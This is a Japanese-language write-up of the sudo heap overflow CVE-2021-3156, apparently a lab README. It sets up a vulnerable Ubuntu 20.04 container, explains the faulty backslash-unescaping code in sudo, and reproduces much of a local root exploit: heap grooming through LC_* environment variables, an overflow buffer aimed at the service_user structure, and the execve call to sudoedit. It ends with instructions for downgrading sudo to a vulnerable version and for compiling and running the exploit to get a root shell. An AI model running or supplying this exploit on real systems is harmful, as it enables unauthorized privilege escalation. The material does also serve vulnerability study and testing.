
Dockerfileを使用してイメージを作成
docker build -t cve-2021-3156:ubuntu2004 .
イメージを使用してコンテナを作成
docker run --rm -it cve-2021-3156:ubuntu2004 /bin/bash
Sudo 1.9.5p2 より前のバージョン では、off-by-one エラーが存在し、ヒープベースのバッファオーバーフロー を引き起こす可能性があります。
攻撃者は次のコマンドを実行することで、
sudoedit -s <引数が単一のバックスラッシュ `\` で終わる>
パスワードなしで権限を root に昇格させることができます。
sudo1.8.31p1 バージョンの sudo ソースコードを例にとると、sudoedit -s を実行する際、エスケープ文字 \ の入力がある場合、まず parse_args.c の parse_args 関数が呼び出され、コマンド内のエスケープ処理が行われます。以下のコード部分で、入力された特殊文字をエスケープ処理します。
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
次に、プログラムは外部から入力された引数をメモリのヒープまたはスタック領域に保存する前に、sudoers.c ファイルの set_cmnd 関数を呼び出してコマンドライン引数をヒープメモリにコピーします。この際、以下のコードを使用してすべてのエスケープ文字 \ を除去する必要があります。
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
問題点は: parse_args が引数をエスケープしなかった場合(つまり、余分な \ を挿入しなかった場合)、プログラムはその後も set_cmnd 関数に入りエスケープを除去しようとしますが、入力された \ に対するエスケープ処理が行われていないため、set_cmnd 関数に入った後に if の条件を満たして \ をスキップし、\ の後続の引数を user_args にコピーします。このとき、コピーする内容が長すぎるとヒープオーバーフローが発生します。
expは2つの部分から構成されています:exploit.c と shellcode.c。exploit.c は argv と envp を構築し、execve を介して sudoedit を呼び出し、ヒープオーバーフローによって脆弱性を悪用します。
exploit.c では、サイズ 0xf0 のバッファ (buf) を構築してヒープレイアウトを精密に制御し、バッファオーバーフローを利用して重要な構造体を上書きします。オーバーフローのサイズは buf のパディング ('Y' と \) で制御され、その後 execve で sudoedit を呼び出して脆弱性をトリガーします。 char buf[0xf0] = {0};
memset(buf, 'Y', 0xe0);
strcat(buf, "\");
char* argv[] = {
"sudoedit",
"-s",
buf,
NULL};
LC_* 環境変数を使用してヒープを調整します。これらの環境変数のレイアウトにより、ターゲット構造体 service_user がオーバーフローの経路上に配置されます。オーバーフローデータは overflow 環境変数を介して渡され、service_user 構造体のフィールドを上書きします。 char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
memset(messages + strlen(messages), 'A', 0xb8);
char overflow[0x500] = {0};
memset(overflow, 'X', 0x4cf);
strcat(overflow, "\");
envp 配列を介してオーバーフローデータを sudoedit に渡し、ターゲット構造体を上書きして脆弱性を悪用します。 char* envp[] = {
overflow,
"\", "\", "\", "\", "\", "\", "\", "\",
"XXXXXXX\",
// 一部省略
NULL};
execve を呼び出して sudoedit の実行をトリガーします。 execve("/usr/bin/sudoedit", argv, envp);
Ubuntu 20.04 でテスト済み、sudo 1.8.31 を対象
以下のコマンドで、お使いの sudo のバージョンに脆弱性が存在するかどうかを確認できます:
$ sudoedit -s Y
パスワードの入力を求められた場合、脆弱性が存在する可能性が高いです;使用法が表示された場合、そのバージョンには脆弱性がありません。
以下のコマンドで Ubuntu 20.04 の sudo を脆弱性のあるバージョンにダウングレードしてテストできます:
$ sudo apt install sudo=1.8.31-1ubuntu1
使用方法 make を実行してコンパイルし、脆弱性を悪用します:
$ make
$ ./exploit
脆弱性の悪用に成功すると、インタラクティブな root シェルが取得され、特権操作が可能になります。
